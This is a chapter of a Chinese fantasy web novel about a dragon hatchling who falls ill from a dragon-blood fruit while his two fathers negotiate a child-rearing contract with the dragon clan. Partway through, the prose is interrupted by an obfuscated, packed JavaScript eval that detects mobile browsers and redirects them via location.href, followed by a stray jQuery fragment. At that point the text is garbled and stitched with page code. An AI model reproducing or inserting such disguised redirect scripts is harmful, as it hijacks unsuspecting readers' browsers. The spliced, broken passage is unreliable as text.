洛云杳似乎回到了蛋壳里。
什么珊瑚、果子……都离他远去了,世界只剩下一片透着红光的寂静。
突然间,他听见了模模糊糊的争吵。
“……我不同意!是我写下阵法的,和我师兄一毛钱关系也没有……”
父亲?
没等幼崽仔细听,又响起了另一道声音。
“……我同意,只要能让……我这身……也没有什么值得留恋的。”
是父亲。
他们在说什么?
幼崽直觉他们在说一件很重要的事,可他越想听清,反而距离熟悉的声音越来越远,周围的一切也越来越黑、越来越冷。
恍惚间,幼崽又听见了属于尘世的声响。
“星眠!你到底给他吃了什么?!”
是青禾叔叔。
“就是龙血果啊!古籍上说幼崽吃了没事——”
“你个呆子!不知道不能全信书吗?!”
洛云杳很想告诉他们他没什么大事,只是有点累。
可惜意识越来越模糊,越来越……
.
“哗啦”,三尺长的契约书摆在了洛淮时两人面前。
轩辕硕拎着契约书把它放在两人对面,刚想说什么,肩膀的小黑龙突然拱了拱他的脖子。
“不好玩、找昭昭。”
族长对着父子俩点了点头,于是轩辕硕直接“功成身退”,头也不回地带儿子离开了大殿。
半空中,泛黄的契约书闪烁着盈盈微光,密密麻麻的符文如蝇头般挤在一起,就算以大乘修士的目力,也只能勉强辨认出似乎是某种天道契。
契约书的最下方写了他们需要遵守的内容──
第一,请确保龙崽拥有一个健康幸福、完整快乐的童年。
第二,因为龙岛的特殊性,非必要不得离开,不得有下属随行。
第三,由于记忆缺失,请二位扮演一对关系正常的道侣抚养龙崽。
第四,违约者会受到契约反噬。
洛淮时看到第三条,眼角抽了抽,最后确定无论是符文还是内容都没有问题,于是抬手准备挤出精血——
“等等,第三条我有问题。”云临川打断了青年的动作,“什么是‘关系正常’?又是谁来评判?”
“当然是昭昭。”族长说着,“只要他没有看出来你们在假扮‘道侣’,那这契约就不算违背。”
“那敢问族长,反噬又是什么?”洛淮时也问了一嘴。
族长:“自然是你们没选的那条路。”
霎时间大殿安静得能听见窗外风过树梢的簌簌声,气氛变得十分诡异。
洛淮时抬起头,直直看向族长。
修为越高的人越处变不惊,与其对视反而容易暴露出自己的想法,所以之前他一直垂着眼睛避免和族长对视。
这一看,让他看清了族长金瞳里晦涩不明的光。
“老头,你之前可没说有这一出。”云临川脸色难看,“还是你以为我魔宫真怕了你龙岛不成?”
族长依旧是那句话:“昭昭是这一千年来唯一出生的纯血龙族,我必须得确保他——”
“爹爹?”
一声稚嫩的呼唤响彻在大殿,在场几人全都瞳孔地震。
只见大殿中心缓缓浮现出一道半透明的身影,幼崽身上还穿着青禾送去九霄宗驻地的鹅黄色法衣,满脸懵懂。
“昭昭!”洛淮时大脑顿时一片空白,冲过去后只触碰到了空气。
“日月为光,三魂茫茫,吾血为引,速归!”云临川最先反应过来,抓起洛淮时的手挤出精血,双手结印,一套还魂咒直接打在了幼崽身上。
“我……”洛云杳想说自己只是跟着“光点”出来走走,可惜还魂咒让他开不了口,只能眼睁睁看着大殿、双亲消失在自己眼前。
世界再度回归漆黑……不,还有光点。
那点微光是在他睡着后出现的,此刻漂浮在他面前不到一掌长的地方,缓慢移动着为他指引出又一条路来。
一步、两步,四周逐渐多了许多宛如仙境的琼楼玉宇,还有葱茏欲滴的草木。
“……快来啊,快来!”
叽叽喳喳的呼唤伴随着银铃般的笑声,云雾缭绕的仙境里多出了许多长着翅膀的花精。
幼崽犹豫了一下,顺着声音的方向快步跑去,四周越来越亮,最后置身在一片白光里。
而光的尽头站着道只能看清轮廓的身影,个子很高,依稀能辨认出是个男人。
幼崽警惕地停在了原地。
“都长这么大了啊。”影子呼吸间就来到了幼崽对面,蹲了身子,然后抬起手。
幼崽的头顶被揉了两下。
明明是十分诡异的场景,他却一点也不害怕,反而从心底升起一股安心和熟悉。
就像是……他们不是第一次见面了。
影子:“好孩子,你已经完成了第一个任务,第二个任务也要努力。”
任务?什么任务?
洛云杳搜罗着自己的记忆,突然想起来破壳前似乎有一道声音告诉他——“去找吧,去找你的双亲。”
“那第二个任务是什么呀?”他的脑子没有关于它的记忆。
影子笑了笑,声音和平静:“我不能说,它需要你自己去发现。不过等你完成任务,我们还会见面的。”
“现在,你该回去了。”
“咕咚——”
洛云杳听见了一声结结实实的落水声,世界再度迎来漆黑,紧随其后的是大亮的天光,还有惊喜的尖叫。
“醒了!崽醒了!”
“你闭嘴,吓到崽怎么办?”
“昭昭!”
幼崽落入了暖烘烘的怀抱,青年抱着他的力道有些失控,胳膊、手掌都在抖,像是溺水的人抓住了救命稻草。
洛淮时也不知道自己为什么这么激动。
明明重逢后相处不到两天,甚至因为不知名的原因没法产生血脉共鸣,可所有的理智在见到面色惨白的幼崽后顷刻崩塌。
他冷静不了。
要不是星眠的天赋能够治疗幼崽,他早就冲上去和他拼命了。
一旁配药的星眠狠狠哆嗦了一下,顶着治完幼崽后被云临川揍出来的黑眼圈,默默把凳子又挪远了一点。
“宝宝,还难不难受了?”洛淮时松开幼崽,分出一丝灵力检查着他的状态,确认幼崽真的平安无事这才松了一口气。
洛云杳顿时学着之前见过的体修夹了夹胳膊,展示了一下自己的肌肉:“不难受!”
不过他好像……忘了什么。
对了,他怎么晕过去了?他明明只是吃了一口果子……
“以后不准吃陌生人来历不明的东西。”云临川板着脸蹲到幼崽面前,语气严肃,“就算吃也得等我和、师兄确认能吃才行。”
彻底沦为“陌生人”的星眠:“……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479013|201641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这还是洛云杳第一次见云临川这副模样,有些害怕地往青年怀里缩了缩,露出小半张脸点点头:“好的父亲……昭昭下次不会乱吃东西了。”
“乖。”云临川顿时露出笑脸,掐了掐幼崽的脸蛋,“再睡一会儿,等醒了父亲带你去魔宫驻地讨见面礼。”
洛淮时拍着昏昏欲睡的幼崽,深深看了云临川一眼,心里浮出股难以言说的情绪。
他本来以为云临川答应去龙岛只是被逼无奈才出此下策,可从大殿一直到寝殿的表现来看,似乎……他对昭昭的关心程度和自己也差不了多少。
真的如此吗?还是说只是在演戏?
事到如今洛淮时依旧不相信昨天在岛主府云临川说的话。
人是能撒谎的,人心是会变的,当年那一剑横在他心口变成了根深蒂固的刺。
谁又能确保那些话几句真几句假?
关于幼崽的谜团多到令人窒息,但无可辩驳的是这就是他的孩子。
会哭会笑,还会……毫不犹豫的挡在他身前保护他。
等到幼崽呼吸平稳,在星眠的挤眉弄眼下,洛淮时和云临川对视后留了青禾照看,这才去了殿外。
星眠尴尬地摸了摸鼻子:“其实昭昭不单是排斥龙血果的能量。我刚才又翻了一遍古籍,才发现所谓的稳定是对纯血龙族来说。”
“崽虽然现在是纯血金龙,可又有后遗症,还……”
云临川眸光一凛:“还有什么一起说了。”
星眠:“我发现他本来血脉就有些不稳定,可能是提纯的时间太长导致的,一般来说再涨几岁就好了。”
三百年……确实太长了。
洛淮时不自觉攥紧了拳头,深吸一口气:“还有什么需要注意的地方吗?”
星眠:“就别给他乱吃东西,其实回到龙岛有龙神庇护能好上不少。”
洛淮时:“没了?不用服药吗?”
星眠:“暂时不用。”
云临川眉毛一挑:“暂时是什么意思?到底用还是不用?”
星眠捂脸,几乎要哭出来:“两位大哥我求求你们了,这得看崽的情况再说,你们现在别为难我了。”
“我错了……我不给崽乱吃东西了。”
满身祭祀礼器的男人“嘤嘤嘤”着跑了,只留给两人一道的背影。
洛淮时:“……”
云临川:“……”
“那我们继续去找老头签契约?”云临川说着,眼睛却盯着地面。
“为什么不敢看我?”
视线里突然多了一双绣着流云纹的靴子。
“谁不敢看你了?”云临川猛地抬头,倒吸一口凉气。
太近了,离得太近了。
他和洛淮时之间只剩下半个手掌的距离,那双清冷的金瞳里满是探究,好似要凭借这次对视挖出他所有的秘密。
什么乱七八糟的,他才没有什么秘密!
“哦。”洛淮时淡淡应了一声,退回到了合适的距离。
不一会儿,果不其然察觉到了男人在自己腰间打转的目光。
“别看了。”他一巴掌拍在云临川胳膊上,“我问你,要是龙族突然反悔,要把昭昭带走给别人养——”
“做梦!”云临川满脸匪夷所思,“法阵都说他是我的种,凭什么给别人养?”
洛淮时:“那你有没有想过……”
“为何你我当初却把龙蛋丢在妖洲的淤泥里?”